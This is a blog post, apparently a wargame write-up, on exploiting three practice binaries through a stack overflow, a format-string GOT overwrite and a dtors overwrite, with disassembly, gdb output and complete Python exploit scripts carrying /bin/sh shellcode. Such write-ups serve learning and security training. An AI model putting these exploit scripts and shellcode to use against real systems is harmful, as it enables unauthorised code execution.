Wednesday, November 28, 2012

Some Random Binaries [0x02]

Stage6 binary takes argv[1] and argv[2] as input. There is couple of strcpy() calls. First call copies argv[1] into stack buffer at [ebp-0x118]. Another strcpy() call copies argv[2] into the address allocated using malloc(). Also there is an infinite loop at the address 0x8048424, which prevents us from taking control of execution by overwriting saved EIP of main function.
   0x80483e2: call   0x80482d0 <strlen@plt>  
   0x80483e7: inc    eax    
   0x80483e8: mov    DWORD PTR [esp],eax
   0x80483eb: call   0x80482c0 <malloc@plt> # allocate memory (strlen(argv[2])+1)
   0x80483f0: mov    DWORD PTR [ebp-0xc],eax # [ebp-0xc]=ret value from malloc()
   0x80483f3: mov    eax,DWORD PTR [ebp+0xc]
   0x80483f6: add    eax,0x4    
   0x80483f9: mov    eax,DWORD PTR [eax]  
   0x80483fb: mov    DWORD PTR [esp+0x4],eax  
   0x80483ff: lea    eax,[ebp-0x118]
   0x8048405: mov    DWORD PTR [esp],eax
   0x8048408: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x804840d: mov    eax,DWORD PTR [ebp+0xc]  
   0x8048410: add    eax,0x8     
   0x8048413: mov    eax,DWORD PTR [eax]     
   0x8048415: mov    DWORD PTR [esp+0x4],eax
   0x8048419: mov    eax,DWORD PTR [ebp-0xc]
   0x804841c: mov    DWORD PTR [esp],eax
   0x804841f: call   0x80482f0 <strcpy@plt> # strcpy(*([ebp-0xc]), argv[2])
   0x8048424: jmp    0x8048424      # infinite loop
To exploit this binary we have to gain control of execution before it reaches 0x8048424. So the idea is to overflow the buffer with argv[1], thus overwriting the pointer at [ebp-0xc]. This way we can control the destination address of 2nd strcpy() call.
We will overwrite [ebp-0xc] with the address of stack, where EIP is saved during the 2nd call to strcpy and argv[2] will be the address of the shellcode. Thus strcpy() will return into our shellcode.
Core was generated by `./stage6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  *__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277") at strcpy.c:40
40 strcpy.c: No such file or directory.
 in strcpy.c
(gdb) info frame 0
Stack frame at 0xbffffbd0:
 eip = 0xb7f09df4 in *__GI_strcpy (strcpy.c:40); saved eip 0x8048424
 called by frame at 0xbffffd00
 source language c.
 Arglist at 0xbffffbc8, args: dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277"
 Locals at 0xbffffbc8, Previous frame's sp is 0xbffffbd0
 Saved registers:
  ebp at 0xbffffbc8, esi at 0xbffffbc0, edi at 0xbffffbc4, eip at 0xbffffbcc
As we can see, EIP is saved at 0xbffffbcc during the call to strcpy(). So here is the final exploit.
#!/usr/include/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'
shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage6"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) -0x2
env = {"":shellcode}

# os.execve(vuln,[vuln,"A"*272,struct.pack("<I",addr)],env)
# info frame 0 : saved EIP at 0xbffffbcc

saved_eip = 0xbffffbcc
os.execve(vuln,[vuln,struct.pack("<I",0xbffffbcc)*68,struct.pack("<I",addr)],env)
Stage7 [Buffer Overflow & Format string]
The stage7 binary copies data into [ebp-0x118] using strcpy() resulting in buffer overflow. But there is loop at 0x8048436, which checks if [ebp-0xa] is NUL. This prevents us from taking control of execution using saved EIP.
   0x80483d7: mov    WORD PTR [ebp-0xa],0x0  # [ebp-0xa] = 0
   0x80483dd: mov    DWORD PTR [esp],0x4   
   0x80483e4: call   0x80482c0 <malloc@plt> # malloc(4)
   0x80483e9: mov    DWORD PTR [ebp-0x10],eax  # [ebp-0x10]=ret by malloc(4)
   0x80483ec: mov    eax,DWORD PTR [ebp+0xc]   
   0x80483ef: add    eax,0x4
   0x80483f2: mov    eax,DWORD PTR [eax]   
   0x80483f4: mov    DWORD PTR [esp+0x4],eax  
   0x80483f8: lea    eax,[ebp-0x118]
   0x80483fe: mov    DWORD PTR [esp],eax
   0x8048401: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x8048406: mov    eax,DWORD PTR [ebp-0x10]   
   0x8048409: mov    DWORD PTR [esp+0x8],eax
   0x804840d: lea    eax,[ebp-0x118]
   0x8048413: mov    DWORD PTR [esp+0x4],eax
   0x8048417: mov    DWORD PTR [esp],0x8048554
   0x804841e: call   0x80482e0 <printf@plt> # printf("%s%hn\n",[ebp-0x118],*[ebp-0x10])
   0x8048423: lea    eax,[ebp-0xa]
   0x8048426: mov    DWORD PTR [esp+0x4],eax
   0x804842a: mov    DWORD PTR [esp],0x804855b
   0x8048431: call   0x80482e0 <printf@plt> # printf("0x%08x\n", [ebp-0xa])
   0x8048436: cmp    WORD PTR [ebp-0xa],0x0  # check for NUL
   0x804843b: jne    0x8048436    # loops here
The idea to exploit this binary is to overwrite the Global Offset Table entry for printf function. First we will use strcpy() to overwrite the saved pointer at [ebp-0x10]. Then we will use the 1st call to printf to perform a 2 byte overwrite of printf's GOT entry. We will overwrite the higher 2 bytes with 0xbfff. When 2nd call to printf is made, execution is pointed to 0xbfffXXXX instead of libc. Thus we can bypass the NUL byte check at 0x8048436. Here is the exploit:
#!/usr/bin/env python
# stage7.py

import struct
import os

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xb8\x42\xa5\xe8\x6e\x5b\x2b\xc9" +
             "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xeb\xfc\xe2\xb7\xcf" +
             "\xe3\x36\xae\x42\x92\xae\xfd\x01\xd3\xc8\x95\xea\x90\x7e" +
             "\x65\x9d\x79\x1d\x0c\x33\x0f\x02\x9c\x23\x07\xc5\x20\xb4" +
             "\x37\xa7\x49\xda\x68\x54\xe1\x22\x20\xc9\x78\xc3\x03\x6d" )

printf_got = 0x08049664  # 0xb7eddf90
addr = 0xbfffdf90  # GOT entry after overwrite of higher bytes

payload = struct.pack("<I",printf_got+2) * 12287 + "PAD" # 0xbfff bytes
vuln = "./stage7"
shift = (0xc0000000 - 0x4 - len(vuln) - 0x2) - addr
env = {"":"A" * shift + shellcode}

os.execve(vuln,[vuln,payload],env)
Stage8 [Format String]
The stage8 binary has format string vulnerability. We will use this bug to overwrite the dtors as we did in stage3. There is parameter deficiency in the call to snprintf(). This is what the binary does
snprintf([ebp-0x100],256, "%s%c%c%hn", argv[1])
%hn actually points into data written using argv[1]. So we can give any address as input and perform a 2 byte write. I choose to overwrite tail of dtor with 0xbfff, making it point to 0xbfff0000. Here is the exploit:
#!/usr/bin/env python
# stage8.py

import os
import struct

shellcode = ("\xd9\xf6\xd9\x74\x24\xf4\xbe\x5c\x5d\xf3\x25\x58\x29\xc9" +
             "\xb1\x0b\x31\x70\x1a\x03\x70\x1a\x83\xc0\x04\xe2\xa9\x37" +
             "\xf8\x7d\xc8\x9a\x98\x15\xc7\x79\xec\x01\x7f\x51\x9d\xa5" +
             "\x7f\xc5\x4e\x54\x16\x7b\x18\x7b\xba\x6b\x12\x7c\x3a\x6c" +
             "\x0c\x1e\x53\x02\x7d\xad\xcb\xda\xd6\x02\x82\x3a\x15\x24" )

vuln = "./stage8"
dtor = 0x8049668
addr = 0xbfff0000
shift = 0xc0000000 - 0x4 - len(vuln) - 0x2 - addr
arg = struct.pack("<I",dtor+2) * 12287 + "A"   # 0xbffd bytes

env = {"":"A"*shift + shellcode}
os.execve(vuln,[vuln,arg],env)
I couldnt figure out the vulnerability in stage9 and exploit for stage10. Will post it when I solve them.

No comments :

Post a Comment